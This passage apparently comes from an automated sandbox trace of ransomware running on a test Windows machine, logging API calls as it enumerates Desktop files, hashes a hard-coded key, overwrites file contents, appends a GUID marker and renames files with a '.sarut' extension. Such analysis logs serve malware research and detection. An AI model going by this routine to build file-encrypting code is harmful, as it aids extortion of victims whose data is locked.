(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.925] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.925] CloseHandle (hObject=0x5c4) returned 1 [0267.936] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFtrxYI4ehxro.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cftrxyi4ehxro.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFtrxYI4ehxro.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cftrxyi4ehxro.doc.sarut")) returned 1 [0267.938] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6e1bd0, ftCreationTime.dwHighDateTime=0x1d4d4ec, ftLastAccessTime.dwLowDateTime=0x3435b700, ftLastAccessTime.dwHighDateTime=0x1d4c5f2, ftLastWriteTime.dwLowDateTime=0x3435b700, ftLastWriteTime.dwHighDateTime=0x1d4c5f2, nFileSizeHigh=0x0, nFileSizeLow=0x6fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CVd8AGKl82socUEV.png", cAlternateFileName="CVD8AG~1.PNG")) returned 1 [0267.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVd8AGKl82socUEV.png") returned=".png" [0267.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVd8AGKl82socUEV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cvd8agkl82socuev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.938] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1790) returned 1 [0267.938] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.940] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.942] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.943] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6fe, lpOverlapped=0x0) returned 1 [0267.943] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.943] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.943] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.943] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.944] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.944] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.944] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.944] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.944] GetLastError () returned 0x0 [0267.944] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.944] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.944] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.944] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.944] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.944] CloseHandle (hObject=0x5c4) returned 1 [0267.948] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVd8AGKl82socUEV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cvd8agkl82socuev.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CVd8AGKl82socUEV.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cvd8agkl82socuev.png.sarut")) returned 1 [0267.950] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0267.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0267.950] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb62eb600, ftCreationTime.dwHighDateTime=0x1d50371, ftLastAccessTime.dwLowDateTime=0xb6c74c80, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc1cdad00, ftLastWriteTime.dwHighDateTime=0x1d50370, nFileSizeHigh=0x0, nFileSizeLow=0x74800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E0A7.tmp.exe", cAlternateFileName="E0A7TM~1.EXE")) returned 1 [0267.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned=".exe" [0267.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.951] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=477184) returned 1 [0267.951] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.952] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x747da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.952] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.954] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.954] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25805, lpOverlapped=0x0) returned 1 [0267.958] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.958] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.958] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.958] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0267.959] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.959] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.959] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.959] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.959] GetLastError () returned 0x0 [0267.959] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.959] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0267.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.961] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x74800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.961] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.961] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.961] CloseHandle (hObject=0x5c4) returned 1 [0267.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe.sarut")) returned 1 [0267.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.974] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0267.975] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeccbb10, ftCreationTime.dwHighDateTime=0x1d4c74f, ftLastAccessTime.dwLowDateTime=0x5e7dd6f0, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0x5e7dd6f0, ftLastWriteTime.dwHighDateTime=0x1d4d4ed, nFileSizeHigh=0x0, nFileSizeLow=0xfbad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EFVz.flv", cAlternateFileName="")) returned 1 [0267.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0267.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.976] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EFVz.flv") returned=".flv" [0267.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EFVz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efvz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.976] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=64429) returned 1 [0267.976] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.978] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfb87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.978] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.980] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.980] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.980] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xfbad, lpOverlapped=0x0) returned 1 [0267.981] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.981] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.981] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.981] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0267.982] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.982] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.982] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0267.982] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.982] GetLastError () returned 0x0 [0267.982] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.982] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0267.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfbb0) returned 0x311d708 [0267.983] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.983] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xfba8, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xfba8, lpOverlapped=0x0) returned 1 [0267.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.983] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfbad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0267.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0267.983] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.984] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.984] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.984] CloseHandle (hObject=0x5c4) returned 1 [0267.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0267.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0267.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0267.988] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EFVz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efvz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EFVz.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efvz.flv.sarut")) returned 1 [0267.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.989] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0267.990] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa117930, ftCreationTime.dwHighDateTime=0x1d4c99b, ftLastAccessTime.dwLowDateTime=0x97eafb50, ftLastAccessTime.dwHighDateTime=0x1d4c7e3, ftLastWriteTime.dwLowDateTime=0x97eafb50, ftLastWriteTime.dwHighDateTime=0x1d4c7e3, nFileSizeHigh=0x0, nFileSizeLow=0x13369, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gI1Ph3odyc3WWitg.swf", cAlternateFileName="GI1PH3~1.SWF")) returned 1 [0267.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0267.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gI1Ph3odyc3WWitg.swf") returned=".swf" [0267.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gI1Ph3odyc3WWitg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gi1ph3odyc3wwitg.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.991] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=78697) returned 1 [0267.991] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.993] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13343, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.993] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.995] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.995] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x13369, lpOverlapped=0x0) returned 1 [0267.996] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.996] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.996] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.996] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.997] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.997] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.997] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0267.997] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.997] GetLastError () returned 0x0 [0267.997] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.997] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x13370) returned 0x311d708 [0267.998] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.998] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x13364, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x13364, lpOverlapped=0x0) returned 1 [0267.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.998] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13369, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0267.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0267.999] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.999] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.999] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.999] CloseHandle (hObject=0x5c4) returned 1 [0268.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gI1Ph3odyc3WWitg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gi1ph3odyc3wwitg.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gI1Ph3odyc3WWitg.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gi1ph3odyc3wwitg.swf.sarut")) returned 1 [0268.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.004] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.005] FindNextFileW (in: hFindFile=0x30914e0, 